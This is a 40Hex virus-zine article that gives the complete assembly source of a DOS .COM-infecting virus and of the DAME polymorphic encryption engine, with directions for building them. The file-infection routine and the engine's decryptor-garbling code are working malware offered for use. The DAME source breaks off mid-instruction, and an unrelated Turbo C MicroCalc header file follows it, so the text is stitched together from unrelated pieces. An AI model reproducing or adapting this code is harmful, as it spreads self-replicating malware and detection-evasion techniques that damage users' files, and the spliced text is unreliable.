40Hex Number 12 Volume 3 Issue 3                                      File 001

        DAME, Revisited
        By Dark Angel of Phalcon/Skism

        As many of you may have noticed, the DAME presented in the last
        issue of 40Hex many moons ago had a few flaws, chief of which was
        a problem with the prefetch queue.  Thanks to everyone who pointed
        this out to me and jeers to Intel.  It was also a mite weak in the
        code generated.  This version corrects several flaws present in the
        original version.  See the source code for a more in-depth discussion
        of the improvements.

        In this article, I present another lame virus to be linked with DAME.
        The debug script is included at the end of the article and the source
        code can be found following this short text.  Before attempting to
        assemble the source code, note that it is broken up into two files:
        LAME.ASM and DAME.ASM.  MAKE SURE YOU SEPARATE THEM FIRST!  Some
        complained that the source code didn't assemble in the last issue;
        that was simply because they didn't break up the files.

        DA

--Begin LAME.ASM---------------------------------------------------------------        .model  tiny
        .code
        .radix  16
        org     100

start:  jmp     temp                    ; The next two lines will be patched in
;        cld                            ; DAME may have altered DF
;        mov     bx,ds
        call    calc_off

old4    dw      20cdh, 0
fmask   db      '*.com',0
dmask   db      '..',0

        db  0dh,'This is a lame virus slapped together by DA/PS',0Dh,0A
        db      'To demonstrate DAME 0.91',0Dh,0A,1a

vars    = 0
        include dame.asm                ; include the code portion of DAME

calc_off:
        pop     si
        mov     ax,si
        mov     cl,4
        shr     ax,cl
        sub     ax,10
        add     ax,bx
        mov     bx,offset enter_vir
        push    ax bx
        retf

enter_vir:
        mov     di,100
        push    es di es es
        movsw
        movsw
enter_vir0:
        push    cs cs
        pop     es ds
        mov     ah,1a
        mov     dx,offset new_dta               ; set new DTA
        int     21

        mov     ah,47
        cwd
        mov     si,offset old_path+1
        mov     byte ptr [si-1],'\'
        int     21

        mov     inf_cnt,4

        call    rnd_init_seed
inf_dir:mov     ah,4e
        mov     dx,offset fmask
fnext:  int     21
        jnc     inf_file

        mov     ah,3bh
        mov     dx,offset dmask
        int     21
        jnc     inf_dir
done_all:
        mov     ah,3bh
        mov     dx,offset old_path
        int     21

        pop     es ds                           ; restore the DTA
        mov     dx,80
        mov     ah,1a
        int     21

        retf                                    ; return to carrier

inf_file:
        mov     ax,3d00
        mov     dx,offset new_dta + 1e
        int     21
        jc      _fnext
        xchg    ax,bx

        mov     ah,3f
        mov     cx,4
        mov     dx,offset old4
        int     21

        mov     ah,3e
        int     21

        cmp     old4,0e9fc
        jz      _fnext
        add     al,ah
        cmp     al,'Z'+'M'
        jz      _fnext
        call    infect
        dec     inf_cnt
        jz      done_all
_fnext:
        mov     ah,4f
        jmp     short fnext

infect: mov     ax,3d00
        mov     dx,offset new_dta + 1e
        int     21
        push    ax
        xchg    ax,bx

        mov     ax,1220
        int     2f

        mov     ax,1216
        mov     bl,es:di
        mov     bh,0
        int     2f

        pop     bx

        mov     word ptr es:[di+2],2

        mov     ax,es:[di+11]
        mov     bp,ax
        mov     cx,4
        sub     ax,cx
        mov     patch,ax

        mov     ah,40
        mov     dx,offset oFCE9
        int     21

        mov     word ptr es:[di+15],bp

        push    es di cs
        pop     es

        mov     si,100
        mov     di,offset copyvirus
        mov     cx,(heap - start + 1)/2
        rep     movsw

        mov     ax,0000000000001011b
        mov     dx,offset copyvirus
        mov     cx,heap - start
        mov     si,offset _decryptbuffer
        mov     di,offset _encryptbuffer
        push    dx bx si
        mov     bx,bp
        inc     bh
        call    dame

        mov     ah,40
        pop     dx bx
        int     21

        mov     ah,40
        mov     cx,heap - start
        pop     dx
        int     21

        pop     di es
        or      byte ptr es:[di+6],40

        mov     ah,3e
        int     21

        retn

oFCE9   dw      0e9fc
heap:
patch   dw      ?
inf_cnt db      ?

vars    = 1
        include dame.asm        ; include the heap portion of DAME

old_path        db       41 dup (?)
new_dta         db       2c dup (?)
_encryptbuffer: db       80 dup (?)
_decryptbuffer: db      1a0 dup (?)
copyvirus       db      heap - start + 20 dup (?)

temp:   mov     byte ptr ds:[100],0fc
        mov     word ptr ds:[101],0db8c
        xor     di,di
        push    cs di cs cs
        jmp     enter_vir0

        end     start
--End LAME.ASM--Begin DAME.ASM-------------------------------------------------
comment #

                        Dark Angel's Multiple Encryptor
                                 Version 0.91
                        By Dark Angel of Phalcon/Skism

        This source may be freely distributed.  Modifications are
        encouraged and modified redistribution is allowed provided
        this notice and the revision history to date are not altered.
        You are free to append to the revision history and update the
        usage information.

 Welcome to the source code for Dark Angel's Multiple Encryptor.
 I, Dark Angel, will be your host for this short excursion through
 a pretty nifty encryptor.

 DAME 0.90 (1574 bytes)
 ~~~~ ~~~~ ~~~~~~~~~~~~
   Initial release.

 DAME 0.91 (1960 bytes)
 ~~~~ ~~~~ ~~~~~~~~~~~~
   Source code commented.

   The user no longer needs to call the encryption routine manually;
   the routine calls it automatically.  This makes DAME a bit more
   "user friendly."

   Garbling with two pointer registers simultaneously, i.e. [bx+di+offset]
   is now supported.

   Added "double-reference" encryptions.  Example:
        mov     ax,[bx+3212]
        xor     ax,3213
        mov     [bx+3212],ax

   There is now a bitflag option to generate a decryptor which will transfer
   control to the buffer on a paragraph boundary.

   There is now a 1% chance that no encryption will be encoded when
   the "do_encrypt1" routine is called.  Of course, null effect
   encryptors may still be generated.

   garble_jmpcond is much more robust.  It can now put valid instructions
   between the conditional jump and the target of the jump.  Therefore,
   there is no longer a multitude of JZ $+2's and the like.  Instead, they
   are replaced by JZ $+4, XOR BX,BX, for example.

   The register tracker is cleared after the loop is completed.  This makes
   sense, since the registers are no longer needed.  This also allows for the
   manipulation of those used registers in the garbling after the loop is
   completed.

   Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register
   MOVes added.  Memory PUSHes and POPs are now supported.

   The maximum nesting value is now the variable _maxnest, which can range
   from 0 to MAXNEST.  _maxnest is determined randomly at runtime.  This makes
   the decryption routines a bit more interesting.  _nest is also cleared more
   times during the run so that variability is continuous throughout.

   Short decryptor option added.  This is automatically used when generating
   the encryptor so the encryptor will always be of minimal length.

   More alignments are now possible.  This makes the initial values of the
   registers more flexible.

   BUG FIXES:

   BP is now preserved on exit

   Prefetch queue flushed on backwards encryption; 386+ hangs eliminated.
   See routine named "clear_PIQ"

   Loopnz routines had possibility of not working properly; instruction
   eliminated.

   NOTES:

   I forgot to give credit to the person from whom I stole the random number
   routines.  I took them from the routine embedded in TPE 1.x (I misremember
   the version number).  Many thanks to Masud Khafir!

   USAGE:

   ON ENTRY:
     ax = flags
       bit 15 : Use two registers for pointer : 0 = no, 1 = yes
       bit 14 : Align size : 0 = word, 1 = dword
       bit 13 : Encryption direction : 0 = forwards, 1 = backwards
       bit 12 : Counter direction : 0 = forwards, 1 = backwards
       bit 11 : Counter register used : 0 = no, 1 = yes
       bit 10 : Temporary storage for double reference
       bit  9 : Unused
       bit  8 : Unused
       bit  7 : Unused
       bit  6 : Unused
       bit  5 : Unused
       bit  4 : Unused
       bit  3 : return control on paragraph boundary : 1 = yes, 0 = no
       bit  2 : short decryptor : 1 = yes, 0 = no (implies no garbling)
       bit  1 : garble : 1 = yes, 0 = no
       bit  0 : SS = DS = CS : 1 = yes, 0 = no
     bx = start decrypt in carrier file
     cx = encrypt length
     dx = start encrypt
     si = buffer to put decryption routine
     di = buffer to put encryption routine

     ds = cs on entry
     es = cs on entry

   RETURNS:
     cx = decryption routine length
     DF cleared
     all other registers are preserved.
     The RADIX is set to 16d.

   NOTES:

   rnd_init_seed is _not_ called by DAME.  The user must explicitly call it.

   The buffer containing the routine to be encrypted should be 20 bytes
   larger than the size of the routine.  This allows padding to work.

   The decryption routine buffer should be rather large to accomodate the
   large decryptors which may be generated.

   The encryption routine buffer need not be very large; 80h bytes should
   suffice.  90d bytes is probably enough, but this value is untested.
#

.radix 10h

ifndef vars
        vars = 2
endif

if not vars eq 1        ; if (vars != 1)

_ax = 0
_cx = 1
_dx = 2
_bx = 3
_sp = 4
_bp = 5
_si = 6
_di = 7

_es = 8
_cs = 9
_ss = 0a
_ds = 0bh

; The constant MAXNEST determines the maximum possible level of nesting
; possible in any generated routine.  If the value is too large, then
; recursion problems will cause a stack overflow and the program will
; crash.  So don't be too greedy.  0Ah is a safe value to use for non-
; resident viruses.  Use smaller values for resident viruses.
ifndef MAXNEST          ; User may define MAXNEST prior to including
        MAXNEST = 0a    ; the DAME source code. The user's value will
endif                   ; then take precedence

rnd_init_seed:
        push    dx cx bx
        mov     ah,2C                   ; get time
        int     21

        in      al,40                   ; port 40h, 8253 timer 0 clock
        mov     ah,al
        in      al,40                   ; port 40h, 8253 timer 0 clock
        xor     ax,cx
        xor     dx,ax
        jmp     short rnd_get_loop_done
get_rand:
        push    dx cx bx
        in      al,40                   ; get from timer 0 clock
        db      5 ; add ax, xxxx
rnd_get_patch1  dw      0
                db      0BA  ; mov dx, xxxx
rnd_get_patch2  dw      0
        mov     cx,7

rnd_get_loop:
        shl     ax,1
        rcl     dx,1
        mov     bl,al
        xor     bl,dh
        jns     rnd_get_loop_loc
        inc     al
rnd_get_loop_loc:
        loop    rnd_get_loop

rnd_get_loop_done:
        mov     rnd_get_patch1,ax
        mov     rnd_get_patch2,dx
        mov     al,dl
        pop     bx cx dx
        retn

reg_table1:
              ; reg1 reg2 mod/00/rm   This is used to handle memory addressing
        db       _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx]
        db       _bp, 84, 10000110b ; if (reg2 == 84)
        db       _di, 84, 10000101b ;    reg2 = NULL;
        db       _si, 84, 10000100b

        db      _bp, _di, 10000011b
        db      _bp, _si, 10000010b
        db      _bx, _di, 10000001b
        db      _bx, _si, 10000000b
        db      _di, _bp, 10000011b
        db      _si, _bp, 10000010b
        db      _di, _bx, 10000001b
        db      _si, _bx, 10000000b

aligntable      db      3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks

redo_dame:
        pop     di bp si dx cx bx ax
dame:   ; Dark Angel's Multiple Encryptor
        cld
        push    ax bx cx dx si bp di
        call    _dame
        pop     di
        push    cx di
        call    di
        pop     di cx bp si dx bx bx ax
        ret

_dame:  ; set up initial values of the variables
        cld
        push    ax

        mov     ax,offset _encryptpointer
        xchg    ax,di                           ; save the pointer to the
        stosw                                   ; encryption routine buffer
        xchg    si,ax                           ; also save the pointer to
        stosw                                   ; the decryption routine
                                                ; buffer in the same manner
        stosw

        xchg    ax,dx                           ; starting offset of
        stosw                                   ; encryption
        xchg    ax,bx                           ; starting offset of
        stosw                                   ; decryption routine

        xchg    cx,dx                           ; dx = encrypt size

        xor     ax,ax
        mov     cx,(endclear1 - beginclear1) / 2; clear additional data
        rep     stosw                           ; area

        call    get_rand                        ; get a random number
        and     ax,not 0f                       ; clear user-defined bits

        pop     cx                              ; cx = bitmask
        xor     cx,ax                           ; randomize top bits

        call    get_rand_bx                     ; get a random number
        and     bx,7                            ; and lookup in the table
        mov     al,byte ptr [bx+aligntable]     ; for a random rounding size
        cbw
        add     dx,ax                           ; round the encryption
        not     ax                              ; size to next word, dword,
        and     dx,ax                           ; etc.

        mov     ax,dx                           ; save the new encryption
        stosw                                   ; length (_encrypt_length)

        shr     ax,1                            ; convert to words
        test    ch,40                           ; encrypting double wordly?
        jz      word_encryption                 ; nope, only wordly encryption
        shr     ax,1                            ; convert to double words
word_encryption:                                ; all the worldly encryption
        test    ch,10                           ; shall do thee no good, my
        jnz     counter_backwards               ; child, lest you repent for
        neg     ax                              ; the sins of those who would
counter_backwards:                              ; bring harm unto others
        stosw                                   ; save _counter_value
        push    dx                              ; Save rounded length

        call    get_rand                        ; get a random value for the
        stosw                                   ; encryption value
                                                ; (_decrypt_value)
        pop     ax                              ; get rounded encryption length
                                                ; in bytes
        test    ch,20                           ; is the encryption to run
        jnz     encrypt_forwards                ; forwards or backwards?
        neg     ax                              ; Adjust for forwards
encrypt_forwards:
        xor     bx,bx                           ; Assume pointer_value2 = 0

        test    ch,80                           ; Dual pointer registers?
        jz      no_dual
        call    get_rand_bx
        sub     ax,bx
no_dual:stosw                                   ; Save the pointers to the
        xchg    ax,bx                           ; decryption (_pointer_value1
        stosw                                   ; and _pointer_value2)

; The following lines determine the registers that go with each function.
; There are a maximum of four variable registers in each generated
; encryption/decryption routine pair -- the counter, two pointer registers,
; and an encryption value register.  Only one pointer register need be present
; in the pair; the other three registers are present only if they are needed.

s0:     call    clear_used_regs                 
        mov     di,offset _counter_reg
        mov     al,84                           ; Assume no counter register
        test    ch,8                            ; Using a counter register?
        jz      s1
        call    get_rand                        ; get a random initial value
        mov     _pointer_value1,ax              ; for the pointer register
        call    get_another                     ; get a counter register
s1:     stosb                                   ; Store the counter register

        xchg    ax,dx

        mov     al,84                           ; Assume no encryption register
        call    one_in_two                      ; 50% change of having an
        js      s2                              ; encryption register
                                                ; Note: This merely serves as
                                                ; an extra register and may or
                                                ; may not be used as the
                                                ; encryption register.
        call    get_another                     ; get a register to serve as
s2:     stosb                                   ; the encryption register

        cmp     ax,dx                           ; normalise counter/encryption
        ja      s3                              ; register pair so that the
        xchg    ax,dx                           ; smaller one is always in the  
s3:     mov     ah,dl                           ; high byte
        cmp     ax,305                          ; both BX and BP used?
        jz      s0                              ; then try again
        cmp     ax,607                          ; both SI and DI used?
        jz      s0                              ; try once more

s4:     mov     si,offset reg_table1            ; Use the table
        mov     ax,3                            ; Assume one pointer register
        test    ch,80                           ; Using two registers?
        jz      use_one_pointer_reg
        add     si,4*3                          ; Go to two register table
        add     al,4                            ; Then use appropriate mask
use_one_pointer_reg:
        call    get_rand_bx                     ; Get a random value
        and     bx,ax                           ; Apply mask to it
        add     si,bx                           ; Adjust table offset
        add     bx,bx                           ; Double the mask
        add     si,bx                           ; Now table offset is right
        lodsw                                   ; Get the random register pair
        mov     bx,ax                           ; Check if the register in the
        and     bx,7                            ; low byte is already used
        cmp     byte ptr [bx+_used_regs],0
        jnz     s4                              ; If so, try again
        mov     bl,ah                           ; Otherwise, check if there is
        or      bl,bl                           ; a register in the high byte
        js      s5                              ; If not, we are done
        cmp     byte ptr [bx+_used_regs],0      ; Otherwise, check if it is
        jnz     s4                              ; already used
s5:     stosw                                   ; Store _pointer_reg1, 
        movsb                                   ; _pointer_reg2, and 
                                                ; _pointer_rm
calculate_maxnest:
        call    get_rand                        ; Random value for _maxnest
        and     al,0f                           ; from 0 to MAXNEST
        cmp     al,MAXNEST                      ; Is it too large?
        ja      calculate_maxnest               ; If so, try again
        stosb                                   ; Otherwise, we have _maxnest

        call    clear_used_regs                 ; mark no registers used
encode_setup:                                   ; encode setup portion
        mov     di,_decryptpointer              ; (pre-loop) of the routines
        call    twogarble                       ; start by doing some garbling
                                                ; on the decryption routine
        mov     si,offset _counter_reg          ; now move the initial
        push    si                              ; values into each variable
encode_setup_get_another:                       ; register -- encode them in a
        call    get_rand_bx                     ; random order for further
                                                ; variability
        and     bx,3                            ; get a random register to en-
        mov     al,[si+bx]                      ; code, i.e. counter, pointer,
        cbw                                     ; or encryption value register
        test    al,80                           ; is it already encoded?
        jnz     encode_setup_get_another        ; then get another register

        or      byte ptr [bx+_counter_reg],80   ; mark it encoded in both the
        mov     si,ax                           ; local and
        inc     byte ptr [si+_used_regs]        ; master areas

        add     bx,bx                           ; convert to word offset
        mov     dx,word ptr [bx+_counter_value] ; find value to set the
                                                ; register to
        mov     _nest,0                         ; clear the current nest count
        call    mov_reg_xxxx                    ; and encode decryption routine
                                                ; instruction
        call    twogarble                       ; garble it some more
        call    swap_decrypt_encrypt            ; now work on the encryption
                                                ; routine
        push    cx                              ; save the current bitmap
        and     cl,not 7                        ; encode short routines only
        call    _mov_reg_xxxx                   ; encode the encryption routine
                                                ; instruction
        pop     cx                              ; restore bitmap

        mov     _encryptpointer,di              ; return attention to the
                                                ; decryption routine
        pop     si
        mov     dx,4
encode_setup_check_if_done:                     ; check if all the variables
                                                ; have been encoded
        lodsb                                   ; get the variable
        test    al,80                           ; is it encoded?
        jz      encode_setup                    ; nope, so continue encoding
        dec     dx                              ; else check the next variable
        jnz     encode_setup_check_if_done      ; loop upwards

        mov     si,offset _encryptpointer       ; Save the addresses of the 
        mov     di,offset _loopstartencrypt     ; beginning of the loop in
        movsw                                   ; the encryption and decryption
        movsw                                   ; routines

; Encode the encryption/decryption part of loop
        mov     _relocate_amt,0                 ; reset relocation amount
        call    do_encrypt1                     ; encode encryption

        test    ch,40                           ; dword encryption?
        jz      dont_encrypt2                   ; nope, skip

        mov     _relocate_amt,2                 ; handle next word to encrypt
        call    do_encrypt1                     ; and encrypt!
dont_encrypt2:
; Now we are finished encoding the decryption part of the loop.  All that
; remains is to encode the loop instruction, garble some more, and patch
; the memory manipulation instructions so they encrypt/decrypt the proper
; memory locations.
        mov     bx,offset _loopstartencrypt     ; first work on the encryption
        push    cx                              ; save the bitmap
        and     cl,not 7                        ; disable garbling/big routines
        call    encodejmp                       ; encode the jmp instruction
        pop     cx                              ; restore the bitmap

        mov     ax,0c3fc ; cld, ret             ; encode return instruction
        stosw                                   ; in the encryption routine

        mov     si,offset _encrypt_relocator    ; now fix the memory
        mov     di,_start_encrypt               ; manipulation instructions

        push    cx                              ; cx is not auto-preserved
        call    relocate                        ; fix address references
        pop     cx                              ; restore cx

        mov     bx,offset _loopstartdecrypt     ; Now work on decryption
        call    encodejmp                       ; Encode the jmp instruction
        push    di                              ; Save the current pointer
        call    clear_used_regs                 ; Mark all registers unused
        pop     di                              ; Restore the pointer
        call    twogarble                       ; Garble some more
        test    cl,8                            ; Paragraph alignment on
        jnz     align_paragraph                 ; entry to virus?
        test    ch,20                           ; If it is a backwards
        jz      no_clear_prefetch               ; decryption, then flush the
        call    clear_PIQ                       ; prefetch queue (for 386+)
no_clear_prefetch:                              ; Curse the PIQ!!!!!
        call    twogarble                       ; Garble: the final chapter
        jmp     short PIQ_done
align_paragraph:
        mov     dx,di                           ; Get current pointer location
        sub     dx,_decryptpointer2             ; Calculate offset when control
        add     dx,_start_decrypt               ; is transfered to the carrier
        inc     dx                              ; Adjust for the JMP SHORT
        inc     dx
        neg     dx
        and     dx,0f                           ; Align on the next paragraph
        cmp     dl,10-2                         ; Do we need to JMP?
        jnz     $+7                             ; Yes, do it now
        test    ch,20                           ; Otherwise, check if we need
        jz      PIQ_done                        ; to clear the prefetch anyway
        call    clear_PIQ_jmp_short             ; Encode the JMP SHORT
PIQ_done:
        mov     _decryptpointer,di

        mov     si,offset _decrypt_relocator    ; Calculate relocation amount
        sub     di,_decryptpointer2
        add     di,_start_decrypt
relocate:
        test    ch,20                           ; Encrypting forwards or
        jz      do_encrypt_backwards            ; backwards?
        add     di,_encrypt_length              ; Backwards is /<0oI_
do_encrypt_backwards:                           ; uh huh uh huh uh huh
        sub     di,_pointer_value1              ; Calculate relocation amount
        sub     di,_pointer_value2
        mov     cx,word ptr [si-2]              ; Get relocation count
        jcxz    exit_relocate                   ; Exit if nothing to do
        xchg    ax,di                           ; Otherwise we be in business
relocate_loop:                                  ; Here we go, yo
        xchg    ax,di
        lodsw                                   ; Get address to relocate
        xchg    ax,di
        add     [di],ax                         ; Relocate mah arse!
        loop    relocate_loop                   ; Do it again 7 times
exit_relocate:                                  ; ('cause that makes 8)
        mov     di,_decryptpointer              ; Calculate the decryption
        mov     cx,di                           ; routine size to pass
        sub     cx,_decryptpointer2             ; back to the caller
        ret

encodejmp:
        mov     di,word ptr [bx+_encryptpointer-_loopstartencrypt]

        push    bx
        mov     _nest,0                         ; Reset nest count
        mov     al,_pointer_reg1                ; Get the pointer register
        and     ax,7                            ; Mask out any modifications
        mov     dx,2                            ; Assume word encryption
        test    ch,40                           ; Word or Dword?
        jz      update_pointer1
        shl     dx,1                            ; Adjust for Dword encryption
update_pointer1:
        test    ch,20                           ; Forwards or backwards?
        jz      update_pointer2
        neg     dx                              ; Adjust for backwards
update_pointer2:
        test    ch,80                           ; Are there two pointers?
        jz      update_pointer_now              ; Continue only if so

        sar     dx,1                            ; Halve the add value
        push    ax                              ; Save register to add
        call    add_reg_xxxx                    ; Add to first register
        mov     al,_pointer_reg2
        and     ax,7                            ; Add to the second pointer
        call    add_reg_xxxx                    ; register
        pop     bx
        test    ch,8                            ; Using a counter register?
        jnz     update_pointer_done             ; If not, continue this

        push    bx                              ; Save first register
        xchg    ax,dx                           ; Move second register to DX
        call    get_another                     ; Get new register regX
        call    mov_reg_reg                     ; MOV regX, _pointer_reg2
        pop     dx                              ; Restore first register
        call    add_reg_reg                     ; ADD regX, _pointer_reg1
        call    clear_reg                       ; Clear the temp register
        jmp     short update_pointer_done       ; Skip adjustment of pointer
                                                ; register (already done)
update_pointer_now:
        call    add_reg_xxxx                    ; Adjust pointer register
update_pointer_done:
        mov     dl,75                           ; Assume JNZ

        mov     al,_counter_reg                 ; Is there a counter register?
        and     ax,7
        cmp     al,_sp
        jz      do_jnz

        push    dx                              ; Save JNZ
        mov     dx,1                            ; Assume adjustment of one

        test    ch,10                           ; Check counter direction
        jz      go_counter_forwards             ; If forwards, increment the
                                                ; counter
        cmp     al,_cx                          ; Check if the counter is CX
        jnz     regular                         ; If not, then decrement the
                                                ; counter and continue
        call    one_in_two                      ; Otherwise, there is a 50%
        js      regular                         ; chance of using a LOOP

        pop     dx
        mo/* Turbo C - (C) Copyright 1987, 1988 by Borland International */

#define S_IREAD	 0x0100	/* from SYS\STAT.H */
#define S_IWRITE 0x0080	/* from SYS\STAT.H */

#define TRUE 1
#define FALSE 0

#define MSGHEADER "MICROCALC - A Turbo C Demonstration Program"
#define MSGKEYPRESS "Press any key to continue."
#define MSGCOMMAND "Press / for the list of commands"
#define MSGMEMORY "Memory Available:"
#define MSGERROR "ERROR"
#define MSGLOMEM "Not enough memory to allocate cell."
#define MSGEMPTY "Empty"
#define MSGTEXT  "Text"
#define MSGVALUE "Value"
#define MSGFORMULA "Formula"
#define MSGAUTOCALC "AutoCalc"
#define MSGFORMDISPLAY "Form"
#define MSGFILENAME "Enter the file name of the spreadsheet:"
#define MSGNAME "Turbo C MicroCalc Spreadsheet"
#define MSGCOLWIDTH "Enter the new column width:"
#define MSGNOOPEN "Can't open the file."
#define MSGOVERWRITE "The file exists.  Do you want to overwrite it?"
#define MSGFILELOMEM "Not enough memory for entire spreadsheet."
#define MSGNOMICROCALC "That is not a Turbo C MicroCalc spreadsheet."
#define MSGNOEXIST "The file does not exist."
#define MSGGOTO "Enter the cell to go to:"
#define MSGBADNUMBER "You must enter a number from %d to %d."
#define MSGBADCELL "That is not a legal cell."
#define MSGCELL1 "Enter the first cell to format:"
#define MSGCELL2 "Enter the last cell to format:"
#define MSGDIFFCOLROW "The row or the column must be the same."
#define MSGRIGHTJUST "Do you want the cell right-justified?"
#define MSGDOLLAR "Do you want numbers in a dollar format?"
#define MSGCOMMAS "Do you want commas in numbers?"
#define MSGPLACES "How many decimal places should the number be rounded to?"
#define MSGCOLUMNS "Do you want to print in 132 columns?"
#define MSGPRINT "Enter the file name to print to, or press ENTER to print on the printer."
#define MSGBORDER "Print the border?"
#define MSGLOADING "Loading..."
#define MSGSAVING "Saving..."
#define MSGSAVESHEET "Save current spreadsheet?"
#define MSGSTACKERROR "Parser stack overflow."

#define MENU "Spreadsheet, Format, Delete, Goto, Col, Row, Edit, Utility, Auto, Quit"
#define COMMAND "SFDGCREUAQ"
#define SMENU "Load, Save, Print, Clear"
#define SCOMMAND "LSPC"
#define CMENU "Insert, Delete, Width"
#define CCOMMAND "IDW"
#define RMENU "Insert, Delete"
#define RCOMMAND "ID"
#define UMENU "Recalc, Formula display"
#define UCOMMAND "RF"

#define MAXCOLS 100   /* Maximum is 702 */
#define MAXROWS 100
#define LEFTMARGIN 3
#define MINCOLWIDTH 3
#define MAXCOLWIDTH 80 - LEFTMARGIN
#define SCREENCOLS (80 - LEFTMARGIN) / MINCOLWIDTH + 1
#define SCREENROWS 20
#define DEFAULTWIDTH 10
#define DEFAULTFORMAT 0X42
#define MAXINPUT 79
#define MAXPLACES 8
#define TOPMARGIN 5
#define PARSERSTACKSIZE 20

#define TEXTCOLOR WHITE
#define ERRORCOLOR LIGHTRED + BLINK
#define VALUECOLOR LIGHTCYAN
#define FORMULACOLOR LIGHTMAGENTA
#define BLANKCOLOR BLACK
#define HEADERCOLOR WHITE + (RED << 4)
#define HIGHLIGHTCOLOR WHITE + (BLUE << 4)
#define HIGHLIGHTERRORCOLOR WHITE + (BLUE << 4) + BLINK
#define MSGAUTOCALCCOLOR LIGHTCYAN
#define MSGFORMDISPLAYCOLOR LIGHTMAGENTA
#define MSGMEMORYCOLOR LIGHTGREEN
#define MSGHEADERCOLOR LIGHTCYAN
#define PROMPTCOLOR YELLOW
#define COMMANDCOLOR LIGHTCYAN
#define LOWCOMMANDCOLOR WHITE
#define MEMORYCOLOR LIGHTRED
#define CELLTYPECOLOR LIGHTGREEN
#define CELLCONTENTSCOLOR YELLOW

#define HIGHLIGHT TRUE
#define NOHIGHLIGHT FALSE
#define UPDATE TRUE
#define NOUPDATE FALSE
#define FORMAT TRUE
#define NOFORMAT FALSE
#define LEFT 0
#define RIGHT 1
#define UP 2
#define DOWN 3
#define TEXT 0
#define VALUE 1
#define FORMULA 2
#define COLADD 0
#define COLDEL 1
#define ROWADD 2
#define ROWDEL 3
#define OVERWRITE 0X80
#define RJUSTIFY 0X40
#define COMMAS 0X20
#define DOLLAR 0X10

struct CELLREC
{
 char attrib;
 union
 {
  char text[MAXINPUT + 1];
  double value;
  struct
  {
   double fvalue;
   char formula[MAXINPUT + 1];
  } f;
 } v;
};

typedef struct CELLREC *CELLPTR;

#if defined(__TINY__) || defined(__SMALL__) || defined(__MEDIUM__)

#define memsize coreleft() - 1000
#define textcellsize(s) (((strlen(s) >> 1) + 3) << 1)
#define valuecellsize 12
#define formulacellsize(s) (((strlen(s) >> 1) + 7) << 1)

#else

#define memsize farcoreleft() - 1000
#define textcellsize(s) (((strlen(s) >> 1) + 5) << 1)
#define valuecellsize 16
#define formulacellsize(s) (((strlen(s) >> 1) + 9) << 1)

#endif

#define BS 8
#define FORMFEED 12
#define CR 13
#define ESC 27
#define HOMEKEY 327
#define ENDKEY 335
#define UPKEY 328
#define DOWNKEY 336
#define PGUPKEY 329
#define PGDNKEY 337
#define LEFTKEY 331
#define INSKEY 338
#define RIGHTKEY 333
#define DELKEY 339
#define CTRLLEFTKEY 371
#define CTRLRIGHTKEY 372
#define F1 315
#define F2 316
#define F3 317
#define F4 318
#define F5 319
#define F6 320
#define F7 321
#define F8 322
#define F9 323
#define F10 324

void initcursor(void);
int getkey(void);
int editstring(char *s, char *legal, int maxlength);
int getint(int *number, int low, int high);
void getinput(int c);
void setcolor(int color);
void scroll(int direction, int lines, int x1, int y1, int x2, int y2,
            int attrib);
void setcursor(unsigned int shape);
void writef(int col, int row, int color, int width, va_list arg_list, ...);
void printcol(void);
void printrow(void);
void displaycell(int col, int row, int highlighting, int updating);
void displaycol(int col, int updating);
void displayrow(int row, int updating);
void displayscreen(int updating);
void clearinput(void);
void changecursor(int insmode);
void showcelltype(void);
void initcolortable(void);
double parse(char *s, int *att);
int alloctext(int col, int row, char *s);
int allocvalue(int col, int row, double amt);
int allocformula(int col, int row, char *s, double amt);
void deletecell(int col, int row, int display);
void printfreemem(void);
void moverowup(void);
void moverowdown(void);
void movecolleft(void);
void movecolright(void);
void recalc(void);
void changeautocalc(int newmode);
void changeformdisplay(int newmode);
void errormsg(char *s);
void colstring(int col, char *colstr);
void centercolstring(int col, char *colstr);
void setleftcol(void);
void setrightcol(void);
void settoprow(void);
void setbottomrow(void);
void movehighlight(void);
void setlastcol(void);
void setlastrow(void);
void act(char *s);
void initvars(void);
int getcommand(char *msgstr, char *comstr);
void mainmenu(void);
void editcell(CELLPTR ecell);
int setoflags(int col, int row, int display);
void clearoflags(int col, int row, int display);
void updateoflags(int col, int row, int display);
void loadsheet(char *filename);
int getcell(int *col, int *row);
char *cellstring(int col, int row, int *color, int formatting);
void writeprompt(char *prompt);
int getyesno(int *yesno, char *prompt);
void swap(int *val1, int *val2);
void redrawscreen(void);
void checkforsave(void);
void savesheet(void);
int formulastart(char **input, int *col, int *row);
int rowwidth(int row);
void fixformula(int col, int row, int action, int place);
void clearlastcol(void);
void run(void);
void gotocell(void);

#if !defined(MAIN)

extern CELLPTR cell[MAXCOLS][MAXROWS], curcell;
extern unsigned char format[MAXCOLS][MAXROWS];
extern unsigned char colwidth[MAXCOLS];
extern unsigned char colstart[SCREENCOLS];
extern char formdisplay;
extern char changed;
extern char autocalc;
extern int leftcol, rightcol, toprow, bottomrow, curcol, currow, lastcol,
 lastrow, direction;
extern long memleft;
extern char stop;
extern char matherror;
extern unsigned int oldcursor, shortcursor, tallcursor, nocursor;

#endif
